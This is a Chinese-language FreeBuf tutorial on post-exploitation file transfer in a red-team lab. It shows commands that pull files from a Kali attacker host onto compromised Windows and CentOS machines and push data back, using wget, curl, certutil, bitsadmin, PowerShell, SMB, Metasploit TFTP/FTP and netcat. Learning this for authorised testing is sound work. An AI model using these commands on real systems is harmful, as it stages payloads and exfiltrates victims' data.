freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

后渗透:文件传输指南
safefox 2025-01-23 11:53:56 167601
所属地 陕西省

在红蓝对抗过程中,文件传输是后渗透场景中的关键步骤。文件传输有多种方法,在本文中我们将逐一介绍。

目录

  • 实验环境配置

  • 使用wget进行文件传输

  • 使用curl进行文件传输

  • 使用certutil进行文件传输

  • 使用bitsadmin进行文件传输

  • 使用PowerShell进行文件传输

  • 使用SMB服务器进行文件传输

  • 使用SCP进行文件传输

  • 使用TFTP进行文件传输

  • 使用FTP传输文件

  • 设置文件传输服务器的不同方法

  • 使用Netcat进行文件传输

  • 结论

实验环境配置

在这里,我们进行行文件传输,假设我们已经拿到了目标机器,且我们拥有初始 shell 访问权限。

  • 攻击者机器:Kali Linux(192.168.202.130)

  • 目标机器1:Windows 10(192.168.202.128)

  • 目标机器 2:Centos(192.168.202.129)

在攻击者的机器Kali 中,我们将设置一个updog服务器。它是 Python 的SimpleHTTPServer的替代品。它对于需要轻量级、快速部署的 HTTP 服务器的场景很有用。

要安装服务器,我们将执行以下命令:

pip3 install updog

安装完成后,我们可以使用以下命令在80端口运行服务器:

updog -p 80

使用wget进行文件传输

要传输文件,我们可以使用wget命令。wget是一个强大的命令,可以从网络下载文件。需要注意的是,在 Windows 中使用 wget 进行文件传输时,我们需要提及-o( -OutFile) 参数才能保存文件。如果不使用参数-o,则只会将其作为对象(即WebResponseObject)返回。Windows 中wget的命令是:

powershell wget http://192.168.202.130/safefox.txt -o safefox.txt
dir
type safefox.txt

使用Curl进行文件传输

Curl 是一个强大的命令行工具,可用于使用各种网络协议传输文件。以下是传输文件的命令:

curl http://192.168.202.130/safefox.txt -o safefox.txt

使用certutil进行文件传输

certutil是 Windows 操作系统附带的命令行实用程序,用于管理证书和加密元素。要使用certutil传输文件,可以使用以下命令:

certutil -urlcache -f http://192.168.202.130/safefox.txt safefox.txt

certutil中的-split选项用于将大文件分割成较小的段以执行文件传输。

certutil -urlcache -split -f http://192.168.202.130/safefox.txt safefox.txt

使用Bitsadmin进行文件传输

Bitsadmin是一个命令行实用程序,用于处理 Windows 中的后台智能传输服务 (BITS) 任务。它有助于执行不同的文件传输操作,包括下载和上传文件。文件传输的命令是:

bitsadmin /transfer job http://192.168.202.130/safefox.txt C:\Users\Public\safefox.txt

执行命令后可见文件传输成功。

使用 PowerShell 进行文件传输

可以通过运行以下命令直接使用PowerShell执行文件传输:

powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.202.130/safefox.txt', 'safefox.txt')

使用 SMB 服务器进行文件传输

SMB 是一种用于通信的协议,用于在网络内提供对文件、端口等的共享访问。为了启用它,我们将使用kali linux 中的impacket-smbserver脚本来共享文件。这里我们将共享目录名称指定为share,这里 share 的意义在于它将文件的长路径转换为单个共享目录。在这里,我们可以将目录的完整路径或pwd作为参数,以便它采用当前目录路径。

impacket-smbserver share $(pwd) -smb2support

设置完成后,我们可以在Windows机器上执行以下命令从共享文件夹复制文件。

copy \\192.168.202.130\share\safefox.txt
copy safefox.txt \\192.168.202.130\share\safefox.txt

为了从另一台 Linux 机器(如 Centos)传输文件,我们可以使用smbclient工具连接共享文件夹,在登录后,我们可以分别使用 put 和 get 命令直接上传和下载文件。

smbclient -L 192.168.202.130
smbclient "\\\\192.168.202.130\share"
ls
get safefox.txt
put data.txt

使用 SCP 进行文件传输

SCP(安全复制协议)是一种在本地系统和远程服务器之间或两个远程服务器之间安全传输文件的方法。它通过SSH(Secure Shell)协议运行,该协议可确保在可能不安全的网络上建立安全连接。它具有跨平台使用的优势,因此 Linux 和 Windows 都支持它。

要将文件从 Windows 复制到 kali,我们将使用以下命令:

scp safefox.txt kali@192.168.202.130:/tmp

要将文件从 kali linux 传输到 windows 机器,我们将使用以下命令:

scp safefox.txt raj@192.168.202.128:/C:/Temp

使用 TFTP 进行文件传输

TFTP(简单文件传输协议)是一种基本的、简单的网络文件传输协议。它通过 UDP 而不是 TCP 运行,这种选择有助于保持协议的轻量性,但意味着它不提供 TCP 提供的可靠性和错误检查。它在 UDP 端口69上运行。

要将文件从 kali linux 传输到 windows 机器,我们将在Metasploit框架内使用以下命令:

msfconsole
use auxiliary/server/tftp
set srvhost 192.168.202.130
set tftproot /root/raj
run

要下载文件,我们将在 Windows 机器上运行以下命令:

tftp -i 192.168.202.130 GET safefox.txt

使用 FTP 进行文件传输

FTP(文件传输协议)是一种历史悠久且广泛使用的协议,用于通过网络传输文件。它使用户能够上传、下载和管理远程服务器上的文件。要启用 FTP 服务,我们将使用Metasploit框架。需要注意的是,我们在这里保留对服务的身份验证,而不是保留匿名登录。

以下是命令:

use auxiliary/server/ftp
set srvhost 192.168.202.130
set ftproot /root/test
set ftpuser safefox
set ftppass 123
run

服务器启动后,登录FTP服务器验证后即可下载文件。

ftp 192.168.202.130
dir
get safefox.txt

我们还可以使用pyftpdlib来使用 python FTP 服务器。它是一个 python 库,可以帮助我们在机器上设置 FTP 服务器。在这里我们将使用它在 kali 机器上设置 FTP 服务器。

首先,我们将使用 pip3 开始安装。

pip3 install pyftpdlib

安装完成后,我们可以通过以下命令使用身份验证启动FTP服务器:

python3 -m pyftpdlib -w -p 21 -u ignite -P 123

服务器启动后,我们可以从 Windows 计算机验证 FTP 服务器的身份并下载文件。要上传文件,我们将使用put命令;要下载文件,我们将使用get命令。

ftp 192.168.202.130
get kali_data.txt
put data_ftp.txt

要设置用于匿名登录的 FTP 服务器,我们将运行相同的命令,但不需要用户名和密码。

python3 -m pyftpdlib -w -p 21

一旦服务器启用匿名登录,我们就可以执行它并查看文件。

ftp 192.168.202.130
ls

设置文件传输服务器的不同方法

为了执行文件传输,除了使用updog之外,我们还需要设置一个服务器。

要使用PHP设置服务器,我们可以使用以下命令:

php -S 0.0.0.0:8081


image-20250106124052925

要使用python2设置服务器,我们可以使用以下命令:

python2 -m SimpleHTTPServer 80

image-20250106124129481

要使用python3设置服务器,我们可以使用以下命令:

python3 -m http.server 8000

image-20250106124154044

使用 Netcat 进行文件传输

Netcat,通常称为nc,是一种多功能网络工具,旨在通过 TCP 或 UDP 读取和写入网络连接。Netcat 可以通过建立简单的客户端-服务器设置来促进文件传输。

要从 Centos机器传输 kali 机器中的文件,我们可以在 kali 中使用以下命令:

nc -lvp 5555 > file.txt

image-20250106124316177

现在我们可以在Centos中运行以下命令将文件发送到kali机器:

ls
nc 192.168.202.130 5555 < file.txt

image-20250106124718565

image-20250106124800157

类似地,我们也可以在 kali linux 中从 windows 机器接收文件。但是,需要注意的是,目标 windows 机器应该有 nc.exe 二进制文件才能使此方法有效。

以下是我们需要在 Windows 机器上运行的命令:

nc.exe 192.168.202.130 5555 < data.txt

image-20250106125534677

为了在 kali 机器中接收文件,我们将运行以下命令:

nc -lvp 5555 > data.txt
cat data.txt

image-20250106125844242

结论

通过实验,我们已经看到,有多种方法可以将文件从我们的机器传输到目标系统,反之亦然。使用适当的工具进行文件传输取决于个人选择和现实情况。

# 渗透测试
本文为 safefox 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
safefox LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 5 关注者
【靶机渗透】HACKME: 1
2022-02-18
【靶机渗透】BLOGGER: 1
2022-02-18
【靶机渗透】一个有趣的靶机 Hidden
2021-11-09
文章目录